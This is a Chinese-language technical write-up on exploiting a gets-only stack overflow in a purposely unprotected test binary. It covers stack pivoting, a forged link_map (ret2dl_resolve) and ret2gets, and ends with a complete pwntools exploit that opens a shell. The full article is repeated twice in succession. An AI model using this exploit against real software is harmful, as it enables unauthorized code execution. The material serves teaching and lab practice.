仅有gets栈溢出漏洞的攻击方式
字数 1047
更新时间 2025-12-31 12:26:44
仅有gets栈溢出漏洞的攻击方式技术分析
一、漏洞环境概述
1.1 漏洞代码
#include<stdio.h>
void stack_overflow()
{
char buf[0x40];
gets(buf);
}
int main(){
stack_overflow();
return 0;
}
1.2 编译方式
gcc -o pwn ./pwn.c -no-pie -fno-stack-protector
1.3 漏洞特点
- 仅存在gets函数的栈溢出漏洞
- 无输出函数(如write、printf等)
- 无pop rdi等常用gadget
- 无PIE保护,无栈保护
二、攻击技术原理
2.1 ret2dl_resolve技术基础
ret2dl_resolve是一种利用动态链接解析过程实现攻击的技术,其核心原理:
- 动态链接过程:当程序第一次调用共享库函数时,会通过PLT/GOT机制进行延迟绑定
- 解析流程:
_dl_runtime_resolve函数负责解析函数地址并填充GOT表 - 攻击点:通过伪造link_map结构体,控制解析过程执行目标函数
2.2 技术优势
- 无需泄露libc地址
- 无需输出函数
- 直接获取shell执行权限
三、攻击实现步骤
3.1 第一阶段:栈迁移控制
3.1.1 汇编代码分析
endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
lea rax, [rbp+var_40]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn
3.1.2 利用思路
通过控制rbp寄存器实现栈迁移到BSS段:
bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
3.2 第二阶段:伪造link_map结构体
3.2.1 结构体伪造函数
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap
3.2.2 关键参数说明
fake_linkmap_addr:伪造结构体在BSS段的地址known_func_ptr:已知函数GOT地址(如gets)offset:目标函数与已知函数的偏移量(如system-gets)
3.3 第三阶段:ROP链构造
3.3.1 ROP payload构造
gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)
3.3.2 参数传递技巧
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
四、关键技术问题与解决方案
4.1 BSS段地址选择问题
问题描述:动态调试时发现调用延迟绑定相关函数时,寄存器出现异常值导致程序执行失败。
解决方案:增加BSS段偏移量
bss = 0x404030 + 0x700 # 而非直接使用0x404030
4.2 字符串格式调整
问题描述:特定位置字符需要调整以满足程序要求。
解决方案:对第5位字符进行+1操作
b'/bin' + p8(u8(b"/") + 1) + b'sh\x00'
4.3 结构体伪造模板选择
问题描述:不同版本的ROP模板可能不兼容。
解决方案:使用经过验证的可调整版本模板。
五、完整EXP代码
from pwn import *
filename = './pwn'
context.arch = 'amd64'
elf = ELF(filename)
libc = elf.libc
p = process(filename)
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap
gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss = 0x404030 + 0x700
# 第一阶段:栈迁移
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
# 第二阶段:构造ROP和伪造结构体
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)
# 第三阶段:传递参数
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
p.interactive()
六、技术要点总结
- 栈迁移技术:通过控制rbp实现执行流重定向到可控的BSS段
- 结构体伪造:精确构造link_map结构体控制动态链接解析过程
- 参数传递:利用ret2gets技术控制rdi寄存器指向"/bin/sh"字符串
- 地址计算:正确计算函数偏移量和BSS段安全地址
该攻击方式在极其有限的漏洞条件下(仅有gets栈溢出)实现了完整的攻击链,展现了高级二进制漏洞利用技术的精妙之处。
仅有gets栈溢出漏洞的攻击方式技术分析
一、漏洞环境概述
1.1 漏洞代码
#include<stdio.h>
void stack_overflow()
{
char buf[0x40];
gets(buf);
}
int main(){
stack_overflow();
return 0;
}
1.2 编译方式
gcc -o pwn ./pwn.c -no-pie -fno-stack-protector
1.3 漏洞特点
- 仅存在gets函数的栈溢出漏洞
- 无输出函数(如write、printf等)
- 无pop rdi等常用gadget
- 无PIE保护,无栈保护
二、攻击技术原理
2.1 ret2dl_resolve技术基础
ret2dl_resolve是一种利用动态链接解析过程实现攻击的技术,其核心原理:
- 动态链接过程:当程序第一次调用共享库函数时,会通过PLT/GOT机制进行延迟绑定
- 解析流程:
_dl_runtime_resolve函数负责解析函数地址并填充GOT表 - 攻击点:通过伪造link_map结构体,控制解析过程执行目标函数
2.2 技术优势
- 无需泄露libc地址
- 无需输出函数
- 直接获取shell执行权限
三、攻击实现步骤
3.1 第一阶段:栈迁移控制
3.1.1 汇编代码分析
endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
lea rax, [rbp+var_40]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn
3.1.2 利用思路
通过控制rbp寄存器实现栈迁移到BSS段:
bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
3.2 第二阶段:伪造link_map结构体
3.2.1 结构体伪造函数
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap
3.2.2 关键参数说明
fake_linkmap_addr:伪造结构体在BSS段的地址known_func_ptr:已知函数GOT地址(如gets)offset:目标函数与已知函数的偏移量(如system-gets)
3.3 第三阶段:ROP链构造
3.3.1 ROP payload构造
gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)
3.3.2 参数传递技巧
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
四、关键技术问题与解决方案
4.1 BSS段地址选择问题
问题描述:动态调试时发现调用延迟绑定相关函数时,寄存器出现异常值导致程序执行失败。
解决方案:增加BSS段偏移量
bss = 0x404030 + 0x700 # 而非直接使用0x404030
4.2 字符串格式调整
问题描述:特定位置字符需要调整以满足程序要求。
解决方案:对第5位字符进行+1操作
b'/bin' + p8(u8(b"/") + 1) + b'sh\x00'
4.3 结构体伪造模板选择
问题描述:不同版本的ROP模板可能不兼容。
解决方案:使用经过验证的可调整版本模板。
五、完整EXP代码
from pwn import *
filename = './pwn'
context.arch = 'amd64'
elf = ELF(filename)
libc = elf.libc
p = process(filename)
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap
gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss = 0x404030 + 0x700
# 第一阶段:栈迁移
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
# 第二阶段:构造ROP和伪造结构体
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)
# 第三阶段:传递参数
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
p.interactive()
六、技术要点总结
- 栈迁移技术:通过控制rbp实现执行流重定向到可控的BSS段
- 结构体伪造:精确构造link_map结构体控制动态链接解析过程
- 参数传递:利用ret2gets技术控制rdi寄存器指向"/bin/sh"字符串
- 地址计算:正确计算函数偏移量和BSS段安全地址
该攻击方式在极其有限的漏洞条件下(仅有gets栈溢出)实现了完整的攻击链,展现了高级二进制漏洞利用技术的精妙之处。